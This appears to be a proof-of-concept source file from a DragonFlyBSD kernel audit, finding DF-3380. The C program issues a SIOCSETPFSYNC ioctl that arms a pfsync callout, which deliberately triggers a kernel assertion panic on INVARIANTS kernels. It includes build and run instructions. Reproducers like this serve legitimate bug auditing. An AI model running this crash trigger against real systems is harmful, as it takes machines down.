⬢ DragonFlyBSD Kernel Audit
DF-3380 / trigger_df3380.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
 * DF-3380 trigger: SIOCSETPFSYNC with syncdev= -> arms sc->sc_bulkfail_tmo
 * (5*hz) with handler pfsync_bulkfail, which executes in the softclock
 * callout thread WITHOUT pf_token and hits
 * ASSERT_LWKT_TOKEN_HELD(&pf_token)  (sys/net/pf/if_pfsync.c:1621)
 * -> deterministic KKASSERT panic on INVARIANTS kernels, ~5s after the
 * ioctl returns.
 *
 * Build: cc -o trigger_df3380 trigger_df3380.c
 * Run:   ./trigger_df3380 [syncdev]      (default tap0)
 */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

/* mirror of struct pfsyncreq from sys/net/pf/if_pfsync.h */
struct pfsyncreq {
	char		 pfsyncr_syncdev[IFNAMSIZ];
	struct in_addr	 pfsyncr_syncpeer;
	int		 pfsyncr_maxupdates;
	int		 pfsyncr_authlevel;
};
#define SIOCSETPFSYNC	_IOW('i', 247, struct ifreq)
#define SIOCGETPFSYNC	_IOWR('i', 248, struct ifreq)

int
main(int argc, char **argv)
{
	struct ifreq ifr;
	struct pfsyncreq preq;
	const char *dev = argc > 1 ? argv[1] : "tap0";
	int s, rc;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");

	memset(&ifr, 0, sizeof(ifr));
	memset(&preq, 0, sizeof(preq));
	strlcpy(ifr.ifr_name, "pfsync0", sizeof(ifr.ifr_name));
	strlcpy(preq.pfsyncr_syncdev, dev, sizeof(preq.pfsyncr_syncdev));
	preq.pfsyncr_maxupdates = 128;
	ifr.ifr_data = (caddr_t)&preq;

	printf("[*] issuing SIOCSETPFSYNC(syncdev=%s) on pfsync0 ...\n", dev);
	rc = ioctl(s, SIOCSETPFSYNC, &ifr);
	if (rc < 0)
		err(1, "SIOCSETPFSYNC");
	printf("[+] SIOCSETPFSYNC ok: pfsync_bulkfail callout armed, "
	    "panic expected in ~5s on INVARIANTS kernels\n");

	memset(&ifr, 0, sizeof(ifr));
	memset(&preq, 0, sizeof(preq));
	strlcpy(ifr.ifr_name, "pfsync0", sizeof(ifr.ifr_name));
	ifr.ifr_data = (caddr_t)&preq;
	if (ioctl(s, SIOCGETPFSYNC, &ifr) == 0)
		printf("[+] SIOCGETPFSYNC: syncdev=%s maxupd=%d\n",
		    preq.pfsyncr_syncdev, preq.pfsyncr_maxupdates);
	close(s);
	return (0);
}